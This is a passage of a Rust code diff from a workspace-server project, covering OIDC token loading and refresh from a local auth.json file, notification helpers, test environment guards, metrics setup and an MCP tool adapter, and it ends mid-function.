let ev = fs_event_to_codebase_graph_event(&paths, FsEventKind::Modified);
assert_eq!(ev.kind, FileEventKind::Modified);
let ev = fs_event_to_codebase_graph_event(&paths, FsEventKind::Removed);
assert_eq!(ev.kind, FileEventKind::Removed);
let ev = fs_event_to_codebase_graph_event(&paths, FsEventKind::Renamed);
assert_eq!(ev.kind, FileEventKind::Renamed);
}
#[test]
fn parse_diff_name_status_all_variants() {
use kigi_codebase_graph::FileEventKind;
use std::path::Path;
let root = Path::new("/repo");
let ev = parse_diff_name_status_line("M\tsrc/main.rs", root).unwrap();
assert_eq!(ev.kind, FileEventKind::Modified);
let ev = parse_diff_name_status_line("A\tnew_file.rs", root).unwrap();
assert_eq!(ev.kind, FileEventKind::Created);
let ev = parse_diff_name_status_line("D\told_file.rs", root).unwrap();
assert_eq!(ev.kind, FileEventKind::Removed);
let ev = parse_diff_name_status_line("R100\told.rs\tnew.rs", root).unwrap();
assert_eq!(ev.kind, FileEventKind::Renamed);
assert!(parse_diff_name_status_line("", root).is_none());
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,490 @@
//! Hub [`AuthProvider`] from `~/.kigi/auth.json` for the standalone
//! `workspace_server` binary: loopback `ws://` uses a plain bearer, otherwise
//! an auto-refreshing OIDC provider that persists rotated tokens to disk.
//!
//! The in-leader `grok workspace` exposure does NOT use this path — it sources
//! an in-memory provider from the leader's `AuthManager` (see
//! `LeaderAuthProvider`) to avoid racing the leader's own auth.json writer.
use std::collections::BTreeMap;
use std::path::{Path, PathBuf};
use std::sync::Arc;
use kigi_computer_hub_sdk::{
AuthCredential, AuthIdentity, AuthProvider, OidcAuthProviderBuilder, RefreshEvent,
};
use url::Url;
/// Plain bearer provider that also carries the owner identity parsed from the
/// same auth.json entry. Used for the loopback / local-dev path (no OIDC
/// refresh) so consumers can still read the owner identity from the auth
/// provider — without a second auth.json read.
struct BearerWithIdentity {
token: String,
identity: AuthIdentity,
}
impl std::fmt::Debug for BearerWithIdentity {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
// Never log the bearer token; surface only the (non-secret) identity.
f.debug_struct("BearerWithIdentity")
.field("identity", &self.identity)
.finish_non_exhaustive()
}
}
impl AuthProvider for BearerWithIdentity {
fn current(&self) -> AuthCredential {
AuthCredential::bearer(self.token.clone())
}
fn identity(&self) -> Option<AuthIdentity> {
Some(self.identity.clone())
}
}
/// Owner identity parsed from an auth.json entry, for the [`AuthProvider`]s
/// built here to surface via [`AuthProvider::identity`].
fn identity_from_entry(entry: &AuthEntry) -> AuthIdentity {
AuthIdentity {
user_id: entry.user_id.clone(),
principal_type: entry.principal_type.clone(),
principal_id: entry.principal_id.clone(),
}
}
#[derive(Debug, serde::Deserialize)]
struct AuthEntry {
key: String,
#[serde(default)]
user_id: String,
#[serde(default)]
refresh_token: Option<String>,
#[serde(default)]
oidc_issuer: Option<String>,
#[serde(default)]
oidc_client_id: Option<String>,
#[serde(default)]
principal_type: Option<String>,
#[serde(default)]
principal_id: Option<String>,
#[serde(default)]
expires_at: Option<chrono::DateTime<chrono::Utc>>,
}
fn default_auth_path() -> anyhow::Result<PathBuf> {
let grok = kigi_config::user_kigi_home()
.ok_or_else(|| anyhow::anyhow!("no user grok home (set $KIGI_SHARE_DIR or $HOME)"))?;
Ok(grok.join("auth.json"))
}
/// Read the active OIDC entry and its scope key. The key is threaded to the
/// refresh write so rotation updates exactly the entry that was read.
fn read_auth_entry(path: &Path) -> anyhow::Result<(String, AuthEntry)> {
if !path.exists() {
anyhow::bail!(
"No auth credentials found at {}. Run `grok login` first.",
path.display()
);
}
let content = std::fs::read_to_string(path)
.map_err(|e| anyhow::anyhow!("failed to read {}: {e}", path.display()))?;
let entries: BTreeMap<String, AuthEntry> = serde_json::from_str(&content)
.map_err(|e| anyhow::anyhow!("failed to parse {}: {e}", path.display()))?;
entries
.into_iter()
.find(|(_, e)| e.refresh_token.is_some() && e.oidc_issuer.is_some())
.ok_or_else(|| {
anyhow::anyhow!(
"no OIDC auth entry found in {}. Run `grok login` first.",
path.display()
)
})
}
fn build_oidc_provider(
scope_key: String,
entry: &AuthEntry,
auth_path: PathBuf,
) -> anyhow::Result<Arc<dyn AuthProvider>> {
let refresh_token = entry.refresh_token.as_ref().ok_or_else(|| {
anyhow::anyhow!("auth entry has no refresh_token — cannot refresh expired tokens")
})?;
let issuer = entry.oidc_issuer.as_ref().ok_or_else(|| {
anyhow::anyhow!("auth entry has no oidc_issuer — cannot refresh expired tokens")
})?;
let client_id = entry.oidc_client_id.as_ref().ok_or_else(|| {
anyhow::anyhow!("auth entry has no oidc_client_id — cannot refresh expired tokens")
})?;
let mut builder = OidcAuthProviderBuilder::new(&entry.key, refresh_token, issuer, client_id);
// Owner identity is surfaced via `AuthProvider::identity()` so consumers
// read it from this provider — no separate auth.json read.
builder = builder.user_id(&entry.user_id);
if let Some(ref pt) = entry.principal_type {
builder = builder.principal_type(pt);
}
if let Some(ref pid) = entry.principal_id {
builder = builder.principal_id(pid);
}
if let Some(exp) = entry.expires_at {
builder = builder.expires_at(exp);
}
builder = builder.on_refresh(Arc::new(move |event: &RefreshEvent| {
if let Err(e) = write_refreshed_token(&auth_path, &scope_key, event) {
tracing::warn!(error = %e, "failed to persist refreshed token to auth.json");
}
}));
Ok(Arc::new(builder.build()))
}
fn write_refreshed_token(path: &Path, scope_key: &str, event: &RefreshEvent) -> anyhow::Result<()> {
let content = std::fs::read_to_string(path)?;
let mut raw: serde_json::Value = serde_json::from_str(&content)?;
let Some(obj) = raw.get_mut(scope_key).and_then(|e| e.as_object_mut()) else {
anyhow::bail!("auth entry '{scope_key}' not found while persisting refreshed token");
};
obj.insert(
"key".to_owned(),
serde_json::Value::String(event.access_token.clone()),
);
if let Some(ref rt) = event.new_refresh_token {
obj.insert(
"refresh_token".to_owned(),
serde_json::Value::String(rt.clone()),
);
}
if let Some(exp) = event.expires_at {
obj.insert(
"expires_at".to_owned(),
serde_json::Value::String(exp.to_rfc3339()),
);
}
write_json_atomic(path, &raw)?;
tracing::info!(path = %path.display(), "persisted refreshed token to auth.json");
Ok(())
}
/// Atomically replace `path`: temp file (0600 on Unix) + fsync + rename. Avoids
/// the truncate-in-place corruption window when the long-lived binary rewrites
/// auth.json.
fn write_json_atomic(path: &Path, value: &serde_json::Value) -> anyhow::Result<()> {
use std::io::Write;
let json = serde_json::to_string_pretty(value)?;
let tmp = path.with_extension(format!("json.{}.tmp", std::process::id()));
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
opts.mode(0o600);
}
let mut file = opts
.open(&tmp)
.map_err(|e| anyhow::anyhow!("failed to open {}: {e}", tmp.display()))?;
file.write_all(json.as_bytes())?;
file.sync_all()?;
drop(file);
#[cfg(windows)]
let _ = std::fs::remove_file(path);
if let Err(e) = std::fs::rename(&tmp, path) {
let _ = std::fs::remove_file(&tmp);
return Err(anyhow::anyhow!("failed to replace {}: {e}", path.display()));
}
Ok(())
}
/// Build a hub auth provider for `hub_url`. `auth_config` overrides
/// the default credential path (`~/.kigi/auth.json`).
pub fn provider(
hub_url: &Url,
auth_config: Option<&Path>,
) -> anyhow::Result<Arc<dyn AuthProvider>> {
let auth_path = match auth_config {
Some(p) => p.to_path_buf(),
None => default_auth_path()?,
};
let (scope_key, entry) = read_auth_entry(&auth_path)?;
let is_loopback = hub_url.scheme() == "ws"
&& matches!(hub_url.host_str(), Some("localhost" | "127.0.0.1" | "::1"));
if is_loopback {
tracing::info!("Using local-dev auth (loopback hub)");
Ok(Arc::new(BearerWithIdentity {
identity: identity_from_entry(&entry),
token: entry.key.clone(),
}))
} else {
build_oidc_provider(scope_key, &entry, auth_path)
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
fn write_auth_json(dir: &std::path::Path, json: &str) -> PathBuf {
let path = dir.join("auth.json");
let mut f = std::fs::File::create(&path).unwrap();
f.write_all(json.as_bytes()).unwrap();
path
}
#[test]
fn read_auth_entry_picks_oidc_entry() {
let dir = tempfile::tempdir().unwrap();
let path = write_auth_json(
dir.path(),
r#"{
"legacy": { "key": "xai-plainkey", "user_id": "u1" },
"oidc": {
"key": "eyJhbGciOiJFUzI1NiJ9.test",
"user_id": "u2",
"refresh_token": "rt",
"oidc_issuer": "https://auth.example.com",
"oidc_client_id": "client1"
}
}"#,
);
let (key, entry) = read_auth_entry(&path).unwrap();
assert_eq!(key, "oidc");
assert_eq!(entry.refresh_token.as_deref(), Some("rt"));
assert_eq!(
entry.oidc_issuer.as_deref(),
Some("https://auth.example.com")
);
}
#[test]
fn read_auth_entry_rejects_non_oidc() {
let dir = tempfile::tempdir().unwrap();
let path = write_auth_json(
dir.path(),
r#"{
"api_key": { "key": "xai-plainkey", "user_id": "u1" }
}"#,
);
let err = read_auth_entry(&path).unwrap_err();
assert!(err.to_string().contains("no OIDC auth entry"));
}
#[test]
fn read_auth_entry_missing_file() {
let path = PathBuf::from("/nonexistent/auth.json");
let err = read_auth_entry(&path).unwrap_err();
assert!(err.to_string().contains("No auth credentials"));
}
#[test]
fn read_auth_entry_tolerates_extra_fields() {
let dir = tempfile::tempdir().unwrap();
let path = write_auth_json(
dir.path(),
r#"{
"scope": {
"key": "eyJhbGciOiJFUzI1NiJ9.tok",
"user_id": "u1",
"auth_mode": "oidc",
"create_time": "2026-01-01T00:00:00Z",
"email": "test@x.ai",
"first_name": "Test",
"refresh_token": "rt1",
"oidc_issuer": "https://auth.x.ai",
"oidc_client_id": "c1",
"some_future_field": true
}
}"#,
);
let (_key, entry) = read_auth_entry(&path).unwrap();
assert_eq!(entry.refresh_token.as_deref(), Some("rt1"));
}
#[test]
fn build_oidc_provider_requires_refresh_token() {
let entry = AuthEntry {
key: "eyJ.tok".into(),
user_id: "u1".into(),
refresh_token: None,
oidc_issuer: Some("https://auth.x.ai".into()),
oidc_client_id: Some("c1".into()),
principal_type: None,
principal_id: None,
expires_at: None,
};
let err = build_oidc_provider("oidc".into(), &entry, PathBuf::from("/tmp/x")).unwrap_err();
assert!(err.to_string().contains("refresh_token"));
}
#[test]
fn build_oidc_provider_requires_issuer() {
let entry = AuthEntry {
key: "eyJ.tok".into(),
user_id: "u1".into(),
refresh_token: Some("rt".into()),
oidc_issuer: None,
oidc_client_id: Some("c1".into()),
principal_type: None,
principal_id: None,
expires_at: None,
};
let err = build_oidc_provider("oidc".into(), &entry, PathBuf::from("/tmp/x")).unwrap_err();
assert!(err.to_string().contains("oidc_issuer"));
}
#[test]
fn build_oidc_provider_requires_client_id() {
let entry = AuthEntry {
key: "eyJ.tok".into(),
user_id: "u1".into(),
refresh_token: Some("rt".into()),
oidc_issuer: Some("https://auth.x.ai".into()),
oidc_client_id: None,
principal_type: None,
principal_id: None,
expires_at: None,
};
let err = build_oidc_provider("oidc".into(), &entry, PathBuf::from("/tmp/x")).unwrap_err();
assert!(err.to_string().contains("oidc_client_id"));
}
#[test]
fn build_oidc_provider_succeeds_with_all_fields() {
let entry = AuthEntry {
key: "eyJ.tok".into(),
user_id: "u1".into(),
refresh_token: Some("rt".into()),
oidc_issuer: Some("https://auth.x.ai".into()),
oidc_client_id: Some("c1".into()),
principal_type: Some("Team".into()),
principal_id: Some("t1".into()),
expires_at: Some(chrono::Utc::now() + chrono::Duration::hours(1)),
};
let provider = build_oidc_provider("oidc".into(), &entry, PathBuf::from("/tmp/x")).unwrap();
let cred = provider.current();
match cred {
kigi_computer_hub_sdk::AuthCredential::Bearer { token } => {
assert_eq!(token, "eyJ.tok");
}
_ => panic!("expected Bearer"),
}
// Identity is surfaced from the parsed entry (no second auth.json read).
let id = provider.identity().expect("identity present");
assert_eq!(id.user_id, "u1");
assert_eq!(id.principal_type.as_deref(), Some("Team"));
assert_eq!(id.principal_id.as_deref(), Some("t1"));
}
#[test]
fn write_refreshed_token_updates_jwt_entry() {
let dir = tempfile::tempdir().unwrap();
let path = write_auth_json(
dir.path(),
r#"{
"legacy": { "key": "xai-old", "user_id": "u1" },
"oidc": { "key": "eyJ.old", "user_id": "u2", "refresh_token": "rt-old", "oidc_issuer": "https://auth.x.ai" }
}"#,
);
let event = RefreshEvent {
access_token: "eyJ.new".into(),
new_refresh_token: Some("rt-new".into()),
expires_at: None,
};
write_refreshed_token(&path, "oidc", &event).unwrap();
let updated: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
assert_eq!(updated["oidc"]["key"], "eyJ.new");
assert_eq!(updated["oidc"]["refresh_token"], "rt-new");
assert_eq!(updated["legacy"]["key"], "xai-old"); // untouched
}
#[test]
fn write_refreshed_token_targets_exact_scope_key() {
// Non-sorted order: refresh must update the read-selected key ("aaa"),
// not the first in file order ("zzz").
let dir = tempfile::tempdir().unwrap();
let path = write_auth_json(
dir.path(),
r#"{
"zzz": { "key": "eyJ.z", "refresh_token": "rt-z", "oidc_issuer": "https://auth.x.ai" },
"aaa": { "key": "eyJ.a", "refresh_token": "rt-a", "oidc_issuer": "https://auth.x.ai" }
}"#,
);
let (key, _entry) = read_auth_entry(&path).unwrap();
assert_eq!(key, "aaa");
let event = RefreshEvent {
access_token: "eyJ.a-new".into(),
new_refresh_token: Some("rt-a-new".into()),
expires_at: None,
};
write_refreshed_token(&path, &key, &event).unwrap();
let updated: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
assert_eq!(updated["aaa"]["key"], "eyJ.a-new");
assert_eq!(updated["aaa"]["refresh_token"], "rt-a-new");
assert_eq!(updated["zzz"]["key"], "eyJ.z");
assert_eq!(updated["zzz"]["refresh_token"], "rt-z");
}
#[test]
fn write_refreshed_token_preserves_existing_rt_when_not_rotated() {
let dir = tempfile::tempdir().unwrap();
let path = write_auth_json(
dir.path(),
r#"{
"oidc": { "key": "eyJ.old", "user_id": "u1", "refresh_token": "rt-keep", "oidc_issuer": "https://auth.x.ai" }
}"#,
);
let event = RefreshEvent {
access_token: "eyJ.new".into(),
new_refresh_token: None,
expires_at: None,
};
write_refreshed_token(&path, "oidc", &event).unwrap();
let updated: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
assert_eq!(updated["oidc"]["key"], "eyJ.new");
assert_eq!(updated["oidc"]["refresh_token"], "rt-keep");
}
#[test]
fn provider_loopback_uses_bearer() {
let dir = tempfile::tempdir().unwrap();
let path = write_auth_json(
dir.path(),
r#"{ "oidc": { "key": "eyJ.tok", "user_id": "u1", "refresh_token": "rt", "oidc_issuer": "https://auth.x.ai", "oidc_client_id": "c1" } }"#,
);
let url = Url::parse("ws://localhost:9988/v1/tools").unwrap();
let auth = provider(&url, Some(&path)).unwrap();
match auth.current() {
AuthCredential::Bearer { token } => assert_eq!(token, "eyJ.tok"),
_ => panic!("expected Bearer"),
}
// Loopback still surfaces identity from the same entry.
let id = auth.identity().expect("loopback identity present");
assert_eq!(id.user_id, "u1");
}
}
@@ -0,0 +1,127 @@
//! Server-proxied workspace utilities.
//!
//! Helper functions for consuming server tool streams and extracting typed
//! notifications from server notification frames. These are used by both
//! the workspace crate (hub_server) and the shell crate (proxy-mode
//! session actors) to interact with the server.
//!
//! The `HubWorkspaceChannel` struct that previously lived here has been
//! removed. Sessions now call the server harness directly via `ToolContext`.
use kigi_tools::notification::types::ToolNotification;
use kigi_workspace_types::WorkspaceEvent;
pub use crate::hub_ids::WORKSPACE_RPC_TOOL_ID;
// Canonical in the client crate; re-exported for existing importers.
pub use kigi_workspace_client::consume_stream_terminal;
/// Extract a `WorkspaceEvent` from a custom `ToolNotificationFrame`.
pub fn extract_workspace_event(
frame: &kigi_tool_protocol::ToolNotificationFrame,
) -> Option<WorkspaceEvent> {
use kigi_tool_protocol::WireToolNotification;
match &frame.notification {
WireToolNotification::Custom(c) => serde_json::from_value(c.payload.clone()).ok(),
_ => None,
}
}
/// Extract a `ToolNotification` from a custom `ToolNotificationFrame`.
///
/// Currently has no producer; kept for a future per-session `tool.notify` path.
pub fn extract_tool_notification(
frame: &kigi_tool_protocol::ToolNotificationFrame,
) -> Option<ToolNotification> {
use kigi_tool_protocol::WireToolNotification;
match &frame.notification {
WireToolNotification::Custom(c) => {
serde_json::from_value::<ToolNotification>(c.payload.clone()).ok()
}
_ => None,
}
}
// ---------------------------------------------------------------------------
// Tests
// ---------------------------------------------------------------------------
#[cfg(test)]
mod tests {
use super::*;
use kigi_tool_protocol::{ToolId, ToolNotificationFrame, WireToolNotification};
#[test]
fn extract_workspace_event_custom_valid() {
let event = WorkspaceEvent::ToolsChanged {
session_id: "main".into(),
};
let payload = serde_json::to_value(&event).unwrap();
let frame = ToolNotificationFrame::custom(
ToolId::new("workspace_events").unwrap(),
"workspace_event",
payload,
);
let result = extract_workspace_event(&frame);
assert!(result.is_some(), "should parse valid WorkspaceEvent");
match result.unwrap() {
WorkspaceEvent::ToolsChanged { session_id } => {
assert_eq!(session_id, "main");
}
other => panic!("expected ToolsChanged, got {other:?}"),
}
}
#[test]
fn extract_workspace_event_invalid_payload() {
let frame = ToolNotificationFrame::custom(
ToolId::new("workspace_events").unwrap(),
"workspace_event",
serde_json::json!({"not_a_valid_event": true}),
);
assert!(
extract_workspace_event(&frame).is_none(),
"invalid payload should return None"
);
}
#[test]
fn extract_workspace_event_known_variant_returns_none() {
let frame = ToolNotificationFrame {
tool_call_id: None,
tool_id: Some(ToolId::new("workspace_events").unwrap()),
notification: WireToolNotification::Known(serde_json::json!({})),
};
assert!(
extract_workspace_event(&frame).is_none(),
"Known variant should return None"
);
}
#[test]
fn extract_tool_notification_invalid_payload() {
let frame = ToolNotificationFrame::custom(
ToolId::new("workspace_tool_notifications").unwrap(),
"tool_notification",
serde_json::json!({"not_a_notification": true}),
);
assert!(
extract_tool_notification(&frame).is_none(),
"invalid payload should return None"
);
}
#[test]
fn extract_tool_notification_known_variant_returns_none() {
let frame = ToolNotificationFrame {
tool_call_id: None,
tool_id: Some(ToolId::new("workspace_tool_notifications").unwrap()),
notification: WireToolNotification::Known(serde_json::json!({})),
};
assert!(
extract_tool_notification(&frame).is_none(),
"Known variant should return None"
);
}
// consume_stream_terminal tests live in kigi-workspace-client.
}
@@ -0,0 +1,10 @@
//! Hub tool ID constants, canonical in `kigi_workspace_types::rpc`
//! and re-exported here for existing importers.
//!
//! `WORKSPACE_TOOL_NOTIFICATIONS_TOOL_ID` is intentionally producer-less today;
//! see [`crate::hub_channel::extract_tool_notification`].
pub use kigi_workspace_types::rpc::{
WORKSPACE_CLIENT_EXT_NOTIFICATIONS_TOOL_ID, WORKSPACE_EVENTS_TOOL_ID, WORKSPACE_RPC_TOOL_ID,
WORKSPACE_TOOL_NOTIFICATIONS_TOOL_ID,
};
File diff suppressed because it is too large. Load diff
+188
View File
@@ -0,0 +1,188 @@
#![allow(
unused_imports,
unused_variables,
unused_mut,
unreachable_code,
dead_code
)]
//! Core workspace library: FS, VCS, permissions, tool config, and subsystem wiring.
pub mod activity;
pub mod capability;
pub mod channel;
pub mod config;
pub mod daemonize;
pub mod diag_server;
pub mod discovery;
pub mod envrc;
pub mod error;
pub mod file_system;
pub mod folder_trust;
pub mod foreign_sessions;
pub mod fs_notify;
pub mod handle;
pub mod hub;
pub mod hub_auth;
pub mod hub_channel;
pub mod hub_ids;
pub mod hub_server;
pub mod mcp;
pub mod permission;
pub mod preview_supervisor;
pub mod project_config;
pub mod recovery;
pub mod rpc_envelope;
pub mod session;
pub mod status_config;
pub use status_config::StatusConfig;
pub mod trust;
pub mod util;
pub mod workspace_ops;
pub mod worktree;
pub use capability::CapabilityMode;
pub use channel::{TransportCallResult, TransportContext, TransportError, TransportNotification};
pub use config::{
AgentSessionConfig, DEFAULT_EVENT_BUFFER_CAPACITY, HookSourceConfig, IsolationMode,
MemoryConfig, SessionContextFactory, SessionTerminalBackend, WorkspaceConfig,
};
pub use error::{WorkspaceError, WorkspaceResult};
pub use file_system::*;
pub use handle::{
DrainOutcome, DrainReason, WorkspaceHandle, connect_local_workspace, resolve_workspace_home,
termination_grace_from_env,
};
pub use hub::HubConfig;
pub use kigi_hunk_tracker::HunkTrackerHandle;
pub use kigi_workspace_client::WorkspaceClient;
pub use kigi_workspace_types::WorkspaceEvent;
pub use permission::*;
pub use session::{WorkspaceSession, WorkspaceShared};
pub use session::{file_state, git, jj};
pub use workspace_ops::{WorkspaceOp, WorkspaceOps};
/// Zero-init every workspace metric family so idle panels render a `0` baseline
/// instead of "No data". Idempotent; call once at workspace-server startup.
pub fn init_metrics() {
handle::init_metrics();
session::swap_policy::init_metrics();
permission::init_metrics();
hub_server::init_metrics();
}
/// Crate-wide lock serializing every test that mutates the process-global
/// environment (`KIGI_SHARE_DIR`, `HOME`, …). nextest isolates each test in its own
/// process, but `cargo test --lib` shares ONE process across threads, so
/// per-module locks don't serialize cross-module — a peer test in another module
/// can clobber `KIGI_SHARE_DIR` mid-test. A single shared lock (used by every
/// env-mutating test module) is required for that single-process run to be
/// race-free.
#[cfg(test)]
pub(crate) static ENV_TEST_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
/// Crate-shared RAII guard for a single process env var in tests: sets (or
/// unsets) it on construction and restores the prior value on drop. The ONE
/// generic env-var guard for the whole crate (replaces the per-module copies).
///
/// Hold it together with [`ENV_TEST_LOCK`] for the test's lifetime, acquiring
/// the lock FIRST so it drops LAST — the env restore (this guard) then runs
/// before the lock releases, so no peer test observes the temporary value.
#[cfg(test)]
pub(crate) struct TestEnvGuard {
key: &'static str,
prev: Option<std::ffi::OsString>,
}
#[cfg(test)]
impl TestEnvGuard {
/// Set `key` to `val`, restoring the prior value on drop.
pub(crate) fn set(key: &'static str, val: &std::path::Path) -> Self {
let prev = std::env::var_os(key);
unsafe { std::env::set_var(key, val) };
Self { key, prev }
}
/// Unset `key`, restoring the prior value on drop.
pub(crate) fn unset(key: &'static str) -> Self {
let prev = std::env::var_os(key);
unsafe { std::env::remove_var(key) };
Self { key, prev }
}
}
#[cfg(test)]
impl Drop for TestEnvGuard {
fn drop(&mut self) {
match self.prev.take() {
Some(prev) => unsafe { std::env::set_var(self.key, prev) },
None => unsafe { std::env::remove_var(self.key) },
}
}
}
/// Holds [`ENV_TEST_LOCK`] AND a set of [`TestEnvGuard`]s as ONE value, so a
/// test (or fixture) can return/bind it however it likes and still be correct.
///
/// Struct fields drop in DECLARATION order, so `_env` (declared first) restores
/// every env var BEFORE `_lock` (declared last) releases the lock — making the
/// "restore before unlock" invariant compile-enforced, not convention-dependent
/// (a single `let _ = LockedTestEnv::lock()…;` binding can't reorder it).
///
/// Acquire the lock first via [`lock`](Self::lock), then mutate env under it with
/// the chained [`set`](Self::set) builder.
#[cfg(test)]
pub(crate) struct LockedTestEnv {
_env: Vec<TestEnvGuard>,
_lock: std::sync::MutexGuard<'static, ()>,
}
#[cfg(test)]
impl LockedTestEnv {
/// Acquire [`ENV_TEST_LOCK`] (held until this value drops).
pub(crate) fn lock() -> Self {
Self {
_env: Vec::new(),
_lock: ENV_TEST_LOCK.lock().unwrap_or_else(|e| e.into_inner()),
}
}
/// Set `key` to `val` under the held lock, restoring the prior value on drop.
///
/// Intended for DISTINCT keys; the restore order across repeated `set`s of
/// the SAME key is unspecified (guards restore in insertion order).
pub(crate) fn set(mut self, key: &'static str, val: &std::path::Path) -> Self {
self._env.push(TestEnvGuard::set(key, val));
self
}
}
#[cfg(test)]
mod init_metrics_tests {
/// `init_metrics()` is idempotent (a double call must not panic on
/// re-register) and populates a `0` baseline series for each family so
/// panels render `0` instead of "No data".
#[test]
fn init_metrics_is_idempotent_and_registers_baselines() {
super::init_metrics();
super::init_metrics();
let families = prometheus::gather();
let has = |name: &str, want: &[(&str, &str)]| {
families
.iter()
.filter(|mf| mf.name() == name)
.flat_map(|mf| mf.get_metric())
.any(|m| {
want.iter().all(|(k, v)| {
m.get_label()
.iter()
.any(|l| l.name() == *k && l.value() == *v)
})
})
};
assert!(has(
"grok_workspace_rpc_requests_total",
&[("method", "unknown"), ("result", "error")]
));
assert!(has(
"grok_workspace_drain_started_total",
&[("reason", "sigterm")]
));
assert!(has(
"grok_workspace_toolset_swap_rejected_total",
&[("reason", "turn_active"), ("trigger", "update_tool_config")]
));
assert!(
families
.iter()
.any(|mf| mf.name() == "grok_workspace_permission_timeout_total")
);
}
}
+220
View File
@@ -0,0 +1,220 @@
//! MCP integration for the workspace server.
//!
//! Bridges [`McpClient`] to the server's [`McpTransport`] trait and wraps
//! tool handlers with qualified `server__tool` names.
use std::sync::Arc;
use async_trait::async_trait;
use kigi_computer_hub_mcp_adapter::{
McpBridgeConfig, McpCallResult, McpContent, McpServerInfo, McpToolDefinition, McpToolHandler,
McpTransport,
};
use kigi_computer_hub_sdk::ToolServerHandler;
use kigi_mcp::rmcp;
use kigi_mcp::servers::McpClient;
use kigi_tool_protocol::ToolId;
use kigi_tool_runtime::{ToolCallContext, ToolStream, TypedToolOutput};
use kigi_tool_types::ToolDescription;
use serde_json::Value;
/// Adapts [`McpClient`] to the [`McpTransport`] trait for [`McpBridge`].
pub(crate) struct McpClientTransportAdapter {
client: Arc<McpClient>,
}
impl McpClientTransportAdapter {
pub fn new(client: Arc<McpClient>) -> Self {
Self { client }
}
}
#[async_trait]
impl McpTransport for McpClientTransportAdapter {
async fn initialize(&self) -> Result<McpServerInfo, kigi_computer_hub_mcp_adapter::McpError> {
let service = self
.client
.ensure_initialized()
.await
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
let info = service.peer_info().ok_or_else(|| {
kigi_computer_hub_mcp_adapter::McpError::Transport("no peer info after init".into())
})?;
Ok(McpServerInfo {
name: info.server_info.name.clone(),
version: info.server_info.version.clone(),
capabilities: serde_json::to_value(&info.capabilities).unwrap_or_default(),
})
}
async fn list_tools(
&self,
) -> Result<Vec<McpToolDefinition>, kigi_computer_hub_mcp_adapter::McpError> {
let service = self
.client
.ensure_initialized()
.await
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
let mut all_tools = Vec::new();
let mut cursor: Option<String> = None;
loop {
let result = service
.list_tools(Some(
rmcp::model::PaginatedRequestParams::default().with_cursor(cursor.clone()),
))
.await
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
all_tools.extend(result.tools.into_iter().map(|t| McpToolDefinition {
name: t.name.to_string(),
description: t.description.map(|d| d.to_string()),
input_schema: serde_json::to_value(&t.input_schema).ok(),
}));
match result.next_cursor {
Some(next) => cursor = Some(next),
None => break,
}
}
Ok(all_tools)
}
async fn call_tool(
&self,
name: &str,
arguments: Value,
) -> Result<McpCallResult, kigi_computer_hub_mcp_adapter::McpError> {
let service = self
.client
.ensure_initialized()
.await
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
// MCP spec requires arguments to be an object; coerce if needed.
let args_object = match arguments {
Value::Object(map) => Some(map),
Value::Null => None,
other => {
let mut wrapper = serde_json::Map::new();
wrapper.insert("value".to_string(), other);
Some(wrapper)
}
};
let result = service
.call_tool({
let mut params = rmcp::model::CallToolRequestParams::new(name.to_string());
params.arguments = args_object;
params
})
.await
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
Ok(McpCallResult {
content: result
.content
.into_iter()
.map(|c| match c {
rmcp::model::ContentBlock::Text(t) => McpContent::Text { text: t.text },
rmcp::model::ContentBlock::Image(img) => McpContent::Image {
mime_type: img.mime_type,
data: img.data,
},
_ => McpContent::Text {
text: "[unsupported content type]".to_string(),
},
})
.collect(),
is_error: result.is_error.unwrap_or(false),
})
}
async fn close(&self) -> Result<(), kigi_computer_hub_mcp_adapter::McpError> {
// No-op: cleanup happens when McpClient is dropped.
Ok(())
}
}
/// Wraps an [`McpToolHandler`] to qualify tool names as `server__tool`.
pub(crate) struct QualifiedMcpToolHandler {
qualified_id: ToolId,
qualified_name: String,
inner: Arc<McpToolHandler>,
}
impl QualifiedMcpToolHandler {
/// Returns `None` if the qualified name is not a valid `ToolId`.
pub fn try_new(qualified_name: String, inner: Arc<McpToolHandler>) -> Option<Self> {
let qualified_id = match ToolId::new(&qualified_name) {
Ok(id) => id,
Err(err) => {
tracing::warn!(
qualified_name = %qualified_name,
error = %err,
"skipping MCP tool: qualified name is not a valid ToolId"
);
return None;
}
};
Some(Self {
qualified_id,
qualified_name,
inner,
})
}
}
#[async_trait]
impl ToolServerHandler for QualifiedMcpToolHandler {
fn tool_id(&self) -> ToolId {
self.qualified_id.clone()
}
fn description(&self) -> ToolDescription {
let inner_desc = self.inner.description();
ToolDescription::new(self.qualified_name.clone(), inner_desc.description)
}
fn input_schema(&self) -> Option<Value> {
self.inner.input_schema()
}
async fn handle_call(&self, ctx: ToolCallContext, args: Value) -> ToolStream<TypedToolOutput> {
self.inner.handle_call(ctx, args).await
}
}
/// Result of a `workspace.configure_mcp` RPC call.
#[derive(Debug, Clone, serde::Serialize)]
pub struct McpStartResult {
/// Server names that started successfully.
pub started: Vec<String>,
/// Servers that failed to start.
pub failed: Vec<McpStartFailure>,
}
/// A single MCP server startup failure.
#[derive(Debug, Clone, serde::Serialize)]
pub struct McpStartFailure {
/// Server name.
pub name: String,
/// Human-readable error description.
pub error: String,
}
/// Extract a server name from an [`McpError`](kigi_mcp::servers::McpError),
/// falling back to `"unknown"`.
pub(crate) fn server_name_from_mcp_error(e: &kigi_mcp::servers::McpError) -> &str {
e.server_name().unwrap_or("unknown")
}
/// Bridge config factory for MCP bridge connections.
pub(crate) fn make_bridge_config(
session_id: kigi_tool_protocol::SessionId,
server_name: &str,
) -> McpBridgeConfig {
McpBridgeConfig {
session_id,
